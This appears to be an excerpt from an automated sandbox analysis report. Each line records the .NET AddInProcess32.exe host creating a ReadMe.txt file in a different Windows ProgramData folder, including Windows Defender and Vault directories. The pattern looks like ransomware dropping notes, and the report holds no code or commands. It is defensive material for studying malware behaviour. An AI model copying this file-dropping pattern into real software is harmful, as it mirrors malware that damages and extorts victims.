                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{bf56ce5a-946b-45b5-858a-1794eb0125e2}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{c5dc3753-b6c8-4057-b396-bf13d769311c}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{c5dc3753-b6c8-4057-b396-bf13d769311c}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{c5dc3753-b6c8-4057-b396-bf13d769311c}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{c8a326e4-f518-4f14-b543-97a57e1a975e}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{c8a326e4-f518-4f14-b543-97a57e1a975e}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{c8a326e4-f518-4f14-b543-97a57e1a975e}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{ee4aac98-c174-4941-82b1-d121e493e4fb}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{ee4aac98-c174-4941-82b1-d121e493e4fb}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{ee4aac98-c174-4941-82b1-d121e493e4fb}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Temp\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Settings\Accounts\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Settings\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\SmsRouter\MessageStore\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\SmsRouter\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Spectrum\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Speech_OneCore\SR\SV10-EV100\en-US-N\MV101\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Speech_OneCore\SR\SV10-EV100\en-US-N\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Speech_OneCore\SR\SV10-EV100\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Speech_OneCore\SR\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Speech_OneCore\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Storage Health\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\UEV\InboxTemplates\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\UEV\Scripts\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\UEV\Templates\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\UEV\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\User Account Pictures\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Vault\AC658CB4-9126-49BD-B877-31EEDAB3F204\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Vault\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\WDF\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Clean Store\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Definition Updates\Backup\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Definition Updates\Default\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Definition Updates\NisBackup\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Definition Updates\Updates\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Definition Updates\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Features\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\LocalCopy\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Network Inspection System\Support\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Network Inspection System\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Quarantine\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\History\CacheManager\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\History\ReportLatency\Latency\19\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\History\ReportLatency\Latency\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\History\ReportLatency\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\History\Results\Resource\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\History\Results\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\History\Service\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\History\Store\ReadMe.txtJump to behavior
